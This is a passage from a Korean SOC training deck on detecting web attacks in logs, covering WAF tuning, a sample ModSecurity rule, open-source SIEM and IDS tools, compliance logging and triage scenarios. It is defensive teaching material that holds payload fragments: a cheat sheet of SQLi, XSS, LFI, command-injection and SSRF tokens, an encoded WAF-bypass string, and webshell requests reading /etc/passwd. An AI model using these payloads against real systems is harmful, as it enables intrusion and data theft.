오탐을 줄이는 방법은 유형에 따라 다르다 — 원인을 파악해야 올바른 튜닝이 가능하다.

오탐 유형과 원인

리치텍스트 에디터	XSS 룰 오탐 → 엔드포인트 예외
코드 공유 사이트	SQLi 키워드 포함 → UA/referer 예외
배치 자동화	반복 요청 → IP/시간대 예외
정상 파일 업로드	확장자 예외 또는 엔드포인트 예외
CDN/프록시 IP	XFF 활용 또는 src_ip 예외

💡 오탐 튜닝의 원칙:
① 오탐 원인 파악
② 최소 범위 예외 적용
③ 예외 이유 문서화
④ 정기 리뷰로 유효성 확인

보강 설명웹 공격 탐지의 오탐 유형별 튜닝 방법입니다.

오탐 유형튜닝 방법화이트리스트

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용
Tier1·Tier2·Tier3로 confidence를 분리 설계

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼
WAF 차단 로그만 보고 허용 요청을 놓치지 말 것

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸
룰 배포 후에는 차단율·정탐률·서비스 영향 함께 점검

자가 평가 · 역량 확인

Module 4 수료 후 역량 자가 평가

이 항목들을 스스로의 말로 설명할 수 있으면 Module 4 핵심은 달성한 것이다.

기술 역량 (□ 직접 설명 가능)

□ SQLi/XSS/LFI/CMDi의 차이를 로그 관점에서
□ 상태코드 시퀀스로 공격 성공 여부 판단
□ 401→302 전환의 의미
□ WebShell 체인의 단계별 로그 흔적
□ SSRF와 egress 로그 상관분석
□ response_time 이상과 Blind SQLi 연관

운영 역량 (□ 실무 적용 가능)

□ FPCA 프레임으로 분석 문장 작성
□ 오탐 가능성을 함께 언급
□ 추가 확인 대상 구체적 제시
□ 에스컬레이션 판단 기준 이해
□ 탐지 룰 계층 설계 개념 이해
□ 아티팩트 체크리스트 숙지

💡 아직 어려운 항목이 있다면 — 해당 파트 슬라이드로 돌아가 한 번 더 확인하세요.

보강 설명웹 공격 탐지 역량을 자가 평가하는 체크리스트입니다.

자가 평가체크리스트역량 확인

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기
성공 신호와 오탐 가능성을 반드시 동시에 적기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함
즉시 조치와 추가 확인을 분리해 쓰면 점수가 올라감

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시
다음 팀에 넘길 질문 1개를 꼭 포함시키기

APPENDIX Q

WAF 고급 설정 — OWASP CRS와 커스텀 룰

ModSecurity + OWASP Core Rule Set으로 WAF를 강화하는 실무 포인트

⏱ 선택 심화 콘텐츠

보강 설명 ModSecurity + OWASP Core Rule Set으로 WAF를 강화하는 실무 포인트. 탐지는 문자열 매칭으로 끝나지 않는다. WAF 차단, 허용, 우회, 후속 성공 신호를 하나의 운영 프레임으로 묶어야 실제 사고를 놓치지 않는다.

WAF상관분석운영

핵심 포인트

차단 로그와 허용 로그를 분리해 보지 말고 같은 행위자의 연속 흐름으로 보기
룰 적중 횟수보다 우회 이후 성공 신호(status, bytes, response_time)가 더 중요할 수 있다
정탐·오탐·보류 기준을 명확히 문서화해야 운영 피로를 줄일 수 있다

추가 확인

WAF rule_id, decoded URI, App 로그를 함께 저장해 튜닝 근거 확보
자산 중요도와 관리자 표면 여부에 따라 같은 이벤트도 우선순위를 다르게 부여
상관분석에서 IP 외에 세션, 계정, 토큰, 파일경로도 키로 활용

실무 예시

차단→우회→성공으로 이어지는 3단계 상관규칙을 설계해 보기
WAF 차단만 보고 종료하면 놓치는 시나리오를 하나 적기
운영팀에 전달할 룰 튜닝 요구사항을 한 문장으로 정리

심화 Q · WAF

OWASP CRS — 룰셋 구조와 원리

OWASP Core Rule Set은 웹 공격 탐지의 공개 표준 — 어떤 구조로 동작하는지 알면 WAF 로그를 더 잘 읽는다.

CRS 룰 카테고리

REQUEST-941-*: XSS 탐지
REQUEST-942-*: SQL Injection 탐지
REQUEST-932-*: Remote Code Execution
REQUEST-930-*: LFI/Path Traversal
REQUEST-912-*: DoS 방어

점수 기반 탐지 방식

각 룰 매칭 시 이상 점수(anomaly score) 부여
임계치(기본 5점) 초과 시 차단
여러 룰이 동시 매칭 = 점수 누적
WAF 로그의 rule_id → 어떤 공격인지 파악

📌 WAF 로그에서 동일 요청에 복수 rule_id 매칭 시 점수 합산 → Critical 우선순위로 판단

보강 설명OWASP CRS 룰셋의 구조와 탐지 원리입니다.

OWASP CRSModSecurity룰셋 구조

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 Q · WAF

WAF 커스텀 룰 작성 기초

기본 CRS로 잡히지 않는 공격 패턴은 커스텀 룰로 보강해야 한다.

ModSecurity SecRule 기본 구조

SecRule REQUEST_URI "@rx (?i)(union[\s\+]+select)" \
  "id:100001,
  phase:2,
  deny,
  status:403,
  log,
  msg:'SQLi Detected - UNION SELECT',
  tag:'attack-sqli',
  severity:'CRITICAL'"

📌 @rx: 정규식 연산자. REQUEST_URI 대신 ARGS_GET, ARGS_POST, REQUEST_BODY도 가능

⚠️ 커스텀 룰 작성 전 스테이징 환경 테스트 필수 — 오탐으로 서비스 장애 가능

보강 설명WAF 커스텀 룰을 작성하는 방법과 원칙입니다.

커스텀 룰WAF 룰 작성SecRule

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

심화 Q · WAF

WAF 로그 분석 — 차단과 탐지 효과성 측정

WAF가 차단한 것보다 허용한 것에서 위협이 숨어 있을 수 있다 — 차단 로그와 access 로그를 함께 봐야 한다.

WAF 로그 분석 관점

차단 많음: 공격 시도 vs 오탐 구분 필요
차단 후 재시도: 우회 패턴 탐색 의심
허용된 의심 요청: WAF 우회 성공 가능성
같은 rule_id 반복: 자동화 도구 특성

WAF 효과성 측정 지표

차단 건수 대비 확인된 정탐 건수
공격 유형별 차단율
WAF 우회 시도 후 access.log 상의 성공 비율
FP(오탐) 차단으로 인한 서비스 영향

⚠️ WAF만 믿고 access.log를 안 보면 우회 공격을 놓친다 — WAF는 전방 센서, access.log는 전체 기록

보강 설명WAF 로그 분석과 효과적인 WAF 운영 방법입니다.

WAF 로그 분석탐지 효과성WAF 운영

탐지 설계

정규화(raw/decoded) 후 룰을 적용해야 우회에 강함
단일 패턴보다 반복성·상태 전환 조건을 함께 사용

블라인드 스팟

POST/JSON body, DOM XSS, 느린 분산 공격은 놓치기 쉬움
XFF·upstream_status 미수집 환경은 판단 한계가 큼

튜닝 기준

예외는 최소 범위·유효 기간·근거를 함께 남김
오탐과 미탐을 같은 회고 안건으로 다룸

APPENDIX R

웹 보안 분석 오픈소스 도구

SIEM, WAF, 네트워크 분석 — 무료로 시작할 수 있는 도구들

⏱ 선택 심화 콘텐츠

보강 설명 SIEM, WAF, 네트워크 분석 — 무료로 시작할 수 있는 도구들. 탐지는 문자열 매칭으로 끝나지 않는다. WAF 차단, 허용, 우회, 후속 성공 신호를 하나의 운영 프레임으로 묶어야 실제 사고를 놓치지 않는다.

WAF상관분석운영

핵심 포인트

차단 로그와 허용 로그를 분리해 보지 말고 같은 행위자의 연속 흐름으로 보기
룰 적중 횟수보다 우회 이후 성공 신호(status, bytes, response_time)가 더 중요할 수 있다
정탐·오탐·보류 기준을 명확히 문서화해야 운영 피로를 줄일 수 있다

추가 확인

WAF rule_id, decoded URI, App 로그를 함께 저장해 튜닝 근거 확보
자산 중요도와 관리자 표면 여부에 따라 같은 이벤트도 우선순위를 다르게 부여
상관분석에서 IP 외에 세션, 계정, 토큰, 파일경로도 키로 활용

실무 예시

차단→우회→성공으로 이어지는 3단계 상관규칙을 설계해 보기
WAF 차단만 보고 종료하면 놓치는 시나리오를 하나 적기
운영팀에 전달할 룰 튜닝 요구사항을 한 문장으로 정리

심화 R · 오픈소스 도구

오픈소스 SIEM — Wazuh / ELK Stack

무료로 웹 공격 탐지 환경을 구축하고 실습할 수 있는 오픈소스 스택.

Wazuh

오픈소스 XDR/SIEM — 에이전트 기반
웹 서버 로그 인제스트 내장
기본 웹 공격 탐지 룰 포함
MITRE ATT&CK 매핑 지원
Kibana 대시보드 연동

ELK Stack (Elasticsearch + Kibana)

Filebeat로 access.log 수집
Elasticsearch에 인덱싱
KQL로 직접 쿼리
SIEM 기능: Detection Rules, Timeline
Kibana Canvas로 대시보드

📌 학습 환경 추천: Docker로 ELK + Filebeat + 샘플 access.log 구성 → KQL 쿼리 실습 가능

보강 설명오픈소스 SIEM 도구 Wazuh와 ELK Stack 소개입니다.

WazuhELK StackKibana

이 도구가 잘 보는 것

도구마다 보이는 계층(L7/L4/패킷/검색)이 다름
강점은 선명하게, 한계는 보완 로그와 함께 이해

실무 연결

도구 결과를 티켓·대시보드·상관분석으로 이어야 가치가 큼
정상 baseline이 있어야 결과를 과잉 해석하지 않음

주의

패킷/검색 결과만으로 성공 여부를 단정하지 않기
도구 출력 형식과 시간대(UTC/KST)를 먼저 통일

심화 R · 오픈소스 도구

Zeek / Suricata — 네트워크 기반 웹 탐지

네트워크 패킷에서 HTTP 흐름을 분석하면 access.log에 없는 정보도 볼 수 있다.

Zeek (Bro)

패킷에서 HTTP 로그 자동 생성
http.log: URI, method, status, mime, response_body
dns.log: DNS 쿼리 (SSRF egress 탐지)
conn.log: 연결 상태 및 크기
Python으로 커스텀 스크립트 가능

Suricata

IDS/IPS + 네트워크 흐름 분석
Emerging Threats 룰셋 통합
HTTP 디코딩 + payload 분석
JSON 이벤트 출력 → SIEM 연동
TLS SNI 분석 (암호화 트래픽)

📌 Zeek + ELK: 네트워크 SIEM 구축 가능. SSRF egress 탐지를 위한 DNS log 분석에 특히 유용

보강 설명Zeek와 Suricata를 이용한 네트워크 기반 웹 탐지입니다.

ZeekSuricata네트워크 탐지

이 도구가 잘 보는 것

도구마다 보이는 계층(L7/L4/패킷/검색)이 다름
강점은 선명하게, 한계는 보완 로그와 함께 이해

실무 연결

도구 결과를 티켓·대시보드·상관분석으로 이어야 가치가 큼
정상 baseline이 있어야 결과를 과잉 해석하지 않음

주의

패킷/검색 결과만으로 성공 여부를 단정하지 않기
도구 출력 형식과 시간대(UTC/KST)를 먼저 통일

심화 R · 오픈소스 도구

Burp Suite / OWASP ZAP — 탐지 관점의 활용

공격 도구를 탐지 관점으로 이해하면 — 공격자가 어떤 흔적을 남기는지 더 잘 알 수 있다.

Burp Suite Pro (유료)

HTTP 프록시: 요청/응답 가로채기
Scanner: 자동 취약점 탐색
Repeater: 수동 payload 변형 테스트
Intruder: 자동화 공격 (Brute Force 등)
→ access.log에 Burp Scanner UA 남김

OWASP ZAP (무료)

Burp와 유사한 기능, 오픈소스
Active Scan: 자동 취약점 탐색
ZAP UA: Mozilla/5.0 ... ZAP
학습 환경 구축에 적합
Jenkins 연동 CI/CD 보안 테스트

⚠️ 이 도구들을 허가 없이 사용하면 불법 — 반드시 권한이 있는 환경에서만 사용. SOC 분석가는 "이 도구가 어떤 흔적을 남기는지" 이해가 목적

보강 설명웹 취약점 스캐너와 모의해킹 도구 소개입니다.

Burp SuiteOWASP ZAP취약점 스캐너

이 도구가 잘 보는 것

도구마다 보이는 계층(L7/L4/패킷/검색)이 다름
강점은 선명하게, 한계는 보완 로그와 함께 이해

실무 연결

도구 결과를 티켓·대시보드·상관분석으로 이어야 가치가 큼
정상 baseline이 있어야 결과를 과잉 해석하지 않음

주의

패킷/검색 결과만으로 성공 여부를 단정하지 않기
도구 출력 형식과 시간대(UTC/KST)를 먼저 통일

APPENDIX S

웹 보안과 규정 준수 연계

PCI-DSS, 개인정보보호법, ISMS-P — SOC 탐지와 어떻게 연결되는가

⏱ 선택 심화 콘텐츠

보강 설명 PCI-DSS, 개인정보보호법, ISMS-P — SOC 탐지와 어떻게 연결되는가. 슬라이드의 핵심은 “무엇이 사실이고, 무엇을 더 확인해야 하며, 어떤 조치로 이어지는가”를 한 번에 떠올리게 만드는 데 있다.

핵심 질문추가 확인실무 연결

핵심 포인트

관찰한 사실을 먼저 정리하고 공격 가설은 그다음에 세우기
상태코드·bytes·response_time·반복성 같은 정량 근거를 빼지 않기
서비스 맥락과 자산 중요도를 함께 써야 판단이 강해진다

추가 확인

같은 행위자의 전후 요청을 묶어 흐름으로 보기
비어 있는 로그 소스를 최소 하나 더 확보하기
정탐과 오탐 가능성을 함께 적어 후속 판단 비용 줄이기

미니 실습

이 슬라이드 내용을 한 줄 보고 문장으로 바꿔 보기
현업에서 바로 볼 필드 3개를 고르고 이유 설명하기
다음 단계 조치와 추가 질문을 각각 1개씩 적기

심화 S · 규정 준수

PCI-DSS와 웹 보안 요구사항

결제 데이터를 다루는 환경에서 PCI-DSS는 WAF, 로그 보존, 취약점 관리를 의무화한다.

PCI-DSS v4.0 웹 관련 주요 요구사항

Req 6.4: 웹 앱 취약점 대응 (WAF 또는 코드 리뷰)
Req 10.2: 보안 이벤트 로그 수집
Req 10.5: 로그 무결성 보호
Req 10.7: 로그 최소 12개월 보존
Req 11.3: 침투 테스트 연 1회

SOC 운영 연계 포인트

WAF 운영 필수 → WAF 로그 SIEM 수집
12개월 로그 보존 → 스토리지 정책
로그 무결성 → 해시 검증 프로세스
침투 테스트 결과 → 탐지 룰 개선 입력

보강 설명PCI-DSS 요구사항과 웹 로그 보존의 관계입니다.

PCI-DSS로그 보존WAF 의무화

감사 체크

보존 기간·무결성·접근통제 정책이 문서화돼 있는가
민감정보 마스킹과 로그 조회 권한 분리가 되어 있는가
법적 의무와 실제 운영 정책의 차이를 설명할 수 있는가

운영 적용

retention·hash·backup 정책을 한 장으로 정리
개인정보 포함 필드는 최소 수집·최소 보존이 원칙
정책 변경 시 SIEM 룰과 저장소 설정도 함께 수정

주의 지점

비밀번호·토큰·세션ID 원문 저장은 금지
과도한 보존은 보안·법적 리스크를 함께 키움
감사용 로그와 조사용 로그의 목적을 구분해 설계

심화 S · 규정 준수

개인정보보호법 / ISMS-P — 웹 로그 관련 의무

한국의 개인정보보호법과 ISMS-P는 개인정보 처리 시스템의 접근 로그 보관을 의무화한다.

개인정보보호법 주요 요구

개인정보 처리 시스템 접속 기록 최소 6개월 보관
개인정보 다운로드 시 접속 기록 2년 보관
접속 기록 위·변조 방지 조치
대규모 처리자는 3년 보관

ISMS-P 관련 통제

2.9.1: 악성코드 통제 (웹 공격 방어 포함)
2.9.2: 취약점 점검 및 조치
2.11.1: 로그 관리 정책
2.11.3: 이상행위 탐지 및 대응

⚠️ 웹 로그에 개인정보가 포함될 경우 → 개인정보 처리방침에 명시 + 최소화 + 보존 기간 준수 필요

보강 설명개인정보보호법과 ISMS-P에서의 웹 로그 관련 요구사항입니다.

개인정보보호법ISMS-P개인정보 로그

감사 체크

보존 기간·무결성·접근통제 정책이 문서화돼 있는가
민감정보 마스킹과 로그 조회 권한 분리가 되어 있는가
법적 의무와 실제 운영 정책의 차이를 설명할 수 있는가

운영 적용

retention·hash·backup 정책을 한 장으로 정리
개인정보 포함 필드는 최소 수집·최소 보존이 원칙
정책 변경 시 SIEM 룰과 저장소 설정도 함께 수정

주의 지점

비밀번호·토큰·세션ID 원문 저장은 금지
과도한 보존은 보안·법적 리스크를 함께 키움
감사용 로그와 조사용 로그의 목적을 구분해 설계

최종 복습

전체 모듈 핵심 요약 카드

강의 전 간단 복습 또는 실무 참조용 빠른 요약

⏱ 참조 자료

보강 설명 강의 전 간단 복습 또는 실무 참조용 빠른 요약. 정리는 슬라이드를 다시 읽는 시간이 아니라 판단 기준을 압축하는 시간이다. “무엇을 보면 어떤 결론을 낼지”를 짧은 문장으로 남겨야 실전에서 바로 쓸 수 있다.

핵심 정리치트시트복습

반드시 기억할 것

공격명보다 입력 위치·반복성·상태 변화·후속 행위를 먼저 보기
정상/의심/위험 분류는 항상 자산 중요도와 함께 판단
단일 로그보다 사건 흐름과 추가 확인 소스를 같이 적기

복습 질문

이 유형의 가장 강한 성공 신호는 무엇인가
오탐을 줄이기 위해 꼭 필요한 맥락은 무엇인가
개발/운영팀에 전달할 때 어떤 문장으로 요약할 것인가

실무 적용

치트시트를 룰 튜닝·온보딩·실습 답안에 재사용
반복되는 탐지 포인트는 표준 문장 템플릿으로 정리
한 장 요약을 팀 내 공통 언어로 사용하는 습관 만들기

최종 복습

웹 아키텍처와 로그 소스 위치 복습

어떤 계층에서 무엇을 볼 수 있는지 — 탐지의 출발점.

클라이언트
브라우저

→

CDN/LB
CDN 로그
LB 로그

→

WAF
WAF 로그
차단 이력

→

웹 서버
access.log
error.log

→

앱 서버
app.log
session log

→

DB
query log
감사 로그

각 계층의 강점

CDN/LB: DDoS, 엣지 탐지
WAF: 패턴 차단, 룰 ID
access.log: 전체 요청 타임라인
app.log: 내부 오류, 비즈니스 맥락
DB log: 실제 쿼리 실행 확인

💡 하나의 계층으로 결론 내리지 말고, 여러 계층을 연결해 사건을 재구성한다

보강 설명웹 아키텍처와 로그 소스 복습입니다.

웹 아키텍처로그 소스복습

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?

최종 복습

FPCA 분석 프레임워크 최종 정리

어떤 공격이든 이 4단계로 분석하면 일관성 있는 판단과 커뮤니케이션이 가능하다.

F — Fact

어떤 IP가, 어떤 시간에, 어떤 엔드포인트에, 어떤 요청을, 몇 회 보냈는가 — 관측된 사실만

P — Pattern

어떤 공격 유형과 일치하는가 — 토큰, 상태코드 시퀀스, 반복성, UA. 왜 그렇게 판단했는가

C — Context

자산 중요도, 후속 행위, 타 로그 연결 — 오탐 가능성은 얼마나 되는가, 더 확인하면 확신이 높아지는 것은

A — Action

추가 확인 대상 로그 / 즉시 차단·격리 / 개발팀 패치 요청 / IR 에스컬레이션 — 다음 팀이 바로 행동할 수 있는 문장

보강 설명분석 프레임워크 FPCA 최종 복습입니다.

FPCA분석 프레임복습

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

최종 복습

웹 공격 탐지 핵심 원칙 10가지

모든 분석에서 이 10가지가 지켜지면 판단의 질이 일관되게 유지된다.

raw_uri가 아닌 decoded_uri로 분석
상태코드는 단독이 아닌 시퀀스로 읽기
웹 로그만으로 결론 단정 금지 — 멀티 소스
단일 이벤트보다 체인과 후속 행위 우선
오탐 가능성 항상 함께 검토

자산 중요도에 따라 우선순위 조정
성공 여부 불확실하면 — 추가 확인 먼저
보고는 다음 팀이 행동 가능한 형태로
탐지 룰은 배포로 끝나지 않음 — 지속 튜닝
좋은 분석가는 payload 암기가 아닌 흐름 재구성

보강 설명공격 탐지의 핵심 원칙 10가지 복습입니다.

핵심 원칙탐지 원칙복습

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

최종 치트시트

웹 공격 탐지 원페이지 퀵 레퍼런스

현장에서 빠르게 참조할 수 있는 모든 공격 유형의 핵심 키워드 한 장 요약.

SQLi UNION SELECT OR 1=1 SLEEP() %27

XSS <script> onerror= svg/onload javascript:

LFI ../ /etc/passwd php://filter .env

CMDi ; && whoami $(cmd) `cmd`

Upload multipart .php cmd= shell.php

Auth 401→302 429 /login POST 반복

SSRF 127.0.0.1 169.254. url= gopher://

상태코드 401→302 429 500 반복 200+큰응답

🔑 모든 토큰은 decoded_uri에 적용 + 상태코드 시퀀스 + 반복성 = 탐지의 3요소

보강 설명모든 공격 유형의 핵심 키워드를 한 장에 정리한 최종 치트시트입니다.

최종 치트시트퀵 레퍼런스모든 공격 유형

빠른 구분법

키워드는 위치와 맥락까지 함께 읽어야 함
정의보다 “로그에서 어떻게 보이는가”로 복습
정상·의심·위험 3단으로 바로 분류 연습

현장 사용법

운영 중엔 치트시트를 보고 즉시 질문 순서를 고정
팀 공통 표현으로 정리해 handoff 품질을 맞춤
자주 틀리는 항목은 팀 위키에 별도 축적

기억 문장

패턴 암기보다 흐름 재구성이 더 오래 남는다
용어는 흔적·영향·조치와 같이 외워야 실전에 남음
빠른 분류 뒤에는 반드시 추가 확인 로그를 연결

Module 4 완료

수고하셨습니다 — 다음 단계로

오늘 만든 것은 기술이 아니라 "흐름을 보는 눈"이다. 이것이 SOC 분석가의 가장 중요한 역량이다.

오늘 배운 것

HTTP 요청 읽기
공격 패턴 식별
FPCA 분석 프레임
탐지 룰 설계 기초

앞으로 쌓아갈 것

SIEM 룰 고도화
SOAR 플레이북
위협 인텔리전스
T자형 전문성

좋은 분석가는
payload를 외우는 사람이 아니라
사건 흐름을 말로 재구성하는 사람이다

보강 설명이 모듈을 마무리하는 최종 메시지 슬라이드입니다.

마무리핵심 메시지감사

복습 체크

URI·상태코드·bytes를 한 세트로 읽기
단일 이벤트보다 체인·후속행위 우선 보기
FPCA로 한 문장 보고가 가능한지 점검

바로 적용

다음 근무에서 웹 알람 1건을 다시 FPCA로 써 보기
decoded_uri·XFF·request_time 수집 여부 확인
최근 오탐 사례 1건도 같은 틀로 재검토

학습 확장

WAF·App·EDR 로그를 한 타임라인으로 묶기
반복 패턴과 상태 전환을 먼저 보는 습관 만들기
자주 보는 엔드포인트의 정상 baseline 정리

강사용 · 마무리

마무리 활동 — 강사 코칭 포인트

강의를 마치기 전 3분 — 수강생이 오늘을 한 문장으로 압축하게 하라.

✏️ 3분 마무리 활동

오늘 배운 내용을 한 문장으로 요약
가장 기억에 남는 분석 포인트 한 가지
실무에 가장 먼저 적용할 것 하나

💡 강사 마무리 멘트 가이드

기술보다 사고방식이 남게 마무리
"다음 공격 로그를 볼 때 오늘 배운 프레임을 적용해 보세요"
FPCA 프레임을 마지막으로 한 번 더 언급
수강생의 한 문장 2~3개 공유 및 피드백

🎓 Module 4 완료. 수강생이 요청 한 줄을 사건 이야기로 바꿀 수 있다면 오늘 목표는 달성된 것입니다.

보강 설명강사용 마지막 코칭 포인트 슬라이드입니다.

강사용코칭 포인트마무리 활동

왜 중요한가

공격 표면은 기능·프로토콜·배포 방식이 바뀔 때 같이 변함
정상 기능처럼 보여도 위치와 맥락이 바뀌면 위협이 됨
계층이 바뀌면 보이는 로그와 보이지 않는 로그도 달라짐

확인 로그

원본 IP·XFF·Body·egress·변경 이력을 같이 확인
새 기술은 baseline이 없으면 오탐/미탐이 늘어남
배포 직후·기능 출시 직후엔 예외와 정상 흐름을 먼저 수집

실무 질문

이 기능은 누가·어디서·무엇을 받을 수 있는가?
정상 요청과 공격 요청의 가장 큰 차이는 어디인가?
이 주제에서 놓치기 쉬운 blind spot 한 가지를 적기

APPENDIX T

심화 실습 시나리오 — 실전 수준 복합 분석

단계별로 정보가 공개되며 실시간 분석 판단을 요구하는 고난도 시나리오

⏱ 고급 선택 콘텐츠

보강 설명 단계별로 정보가 공개되며 실시간 분석 판단을 요구하는 고난도 시나리오. 실습의 목적은 맞히는 것보다 근거를 설명하는 것이다. 사실→패턴→맥락→조치 순서로 말할 수 있어야 실무형 분석이 된다.

실습답안 포인트보고 문장

답안 포인트

주어진 사실과 추론을 분리해서 쓰기
상태코드·bytes·반복성·자산 중요도 같은 관찰 근거를 반드시 넣기
즉시 조치와 추가 확인을 구분해 쓰면 전달력이 높아짐

추가 확인

같은 IP/세션의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host/EDR 중 비어 있는 로그를 한 소스 더 확보
정탐과 오탐 두 가설을 같이 적고 더 필요한 로그를 제시

미니 실습

한 줄 로그를 2~3문장 보고서로 바꿔 보기
팀장/개발자/운영자 각각에게 필요한 요약 문장을 따로 써 보기
질문형 보고 대신 결론형 보고 문장으로 고쳐 보기

심화 T · 실습

시나리오 T1: 새벽 2시 알람 — 무엇을 먼저 보는가

새벽 2시, SIEM에 Critical 알람 1건 + High 알람 3건. 5분 안에 판단하라.

🚨 수신된 알람 목록

[CRITICAL] WebShell Execution - 172.104.81.55
[HIGH] SQLi Detected - 185.143.223.17 × 47회
[HIGH] Brute Force - 89.248.165.44 × 83회
[HIGH] Abnormal Upload - 103.44.19.8

📋 5분 Triage 체크리스트

Critical 알람 WebShell 내용 즉시 확인
shell.php 실제 실행 여부 (EDR 확인)
High 3건은 Critical 처리 중 병행 모니터링
서버 격리 여부 팀 리더에게 즉시 보고
Brute Force와 Upload IP가 WebShell과 관련? 확인

⚠️ 새벽 시간 + Critical 알람 = 즉시 에스컬레이션 기준. "확인 후 보고"가 아니라 "보고 후 확인"

보강 설명시나리오 T1: 새벽 2시 알람 — 즉시 판단해야 하는 상황 분석입니다.

새벽 알람긴급 대응즉각 판단

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

심화 T · 실습

시나리오 T2: WAF 우회 후 SQLi 성공 추적

WAF는 차단했는데 그 이후 access.log에 다른 패턴의 요청이 이어진다면?

📋 타임라인

11 WAF 차단: /search?q=UNION+SELECT (rule:942100)
12 WAF 차단: /search?q=UNION/**/SELECT (rule:942100)
13 WAF 허용: /search?q=UN%49ON+SEL%45CT+NULL-- (우회)
13~03:45 status=200, bytes=8200~48300 (정상 대비 20배)

분석 포인트

WAF 차단 → 패턴 변형 → 우회 성공 흐름
03:13 이후 bytes 급증 = 데이터 추출 징후
WAF rule_id 갱신 필요 (UN%49ON 우회 패턴)
DB 쿼리 로그 긴급 확인 필요

⚠️ WAF 차단 로그만 보면 "막혔다"로 판단 — access.log bytes 변화까지 봐야 우회 성공을 알 수 있다

보강 설명시나리오 T2: 동일 공격자가 WAF 우회 후 SQLi에 성공하는 시나리오입니다.

WAF 우회SQLi 성공데이터 유출

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

심화 T · 실습

시나리오 T3: 내부 IP에서 WebShell 접근

내부 IP 10.10.20.45에서 /uploads/shell.php?cmd=id 요청이 들어온다면?

📋 관찰 데이터

10.20.45 GET /uploads/shell.php?cmd=id 200
10.20.45 GET /uploads/shell.php?cmd=cat+/etc/passwd 200
10.20.45 GET /uploads/shell.php?cmd=ls+-la 200
10.20.45 = 내부 개발 서버

분석 시나리오들

개발 서버 자체가 외부에 의해 침해됨
개발자가 테스트 목적으로 WebShell 남김
침투테스트 중 내부 피벗 후 접근
→ 모두 조사 대상. 허가 여부 먼저 확인

⚠️ "내부 IP = 안전"은 Zero Trust 관점에서 틀렸다. 내부 IP도 WebShell 접근은 Critical — 격리 후 조사

보강 설명시나리오 T3: 내부망에서 발생한 WebShell 접근 시나리오입니다.

내부망 공격측방 이동내부 IP

추가 확인

같은 IP의 전후 30분 타임라인을 먼저 묶기
WAF/App/Host 중 비어 있는 소스를 하나 더 가져오기

답안 포인트

사실→패턴→맥락→조치(FPCA) 순서로 기술
상태코드·bytes·반복성·자산 중요도를 근거에 포함

미니 실습

한 줄 로그를 2~3문장 보고서로 바꾸어 보기
정탐/오탐 두 가설을 같이 써 보고 더 확인할 로그 제시

심화 T · 실습

시나리오 T4: 오탐으로 닫았던 알람이 공격이었다

어제 오탐으로 처리한 알람 — 오늘 같은 IP에서 WebShell 실행이 확인됐다.

어제 처리 내용

172.104.81.55 → /search?q=test 20회 → "단순 스캔, 오탐"으로 닫음
당시 SQLi 키워드 미포함, 상태코드 200
UA 정상으로 보였음

오늘 발생

동일 IP → /uploads/shell.php?cmd=whoami 200
어제 경로 탐색 → 업로드 엔드포인트 발견
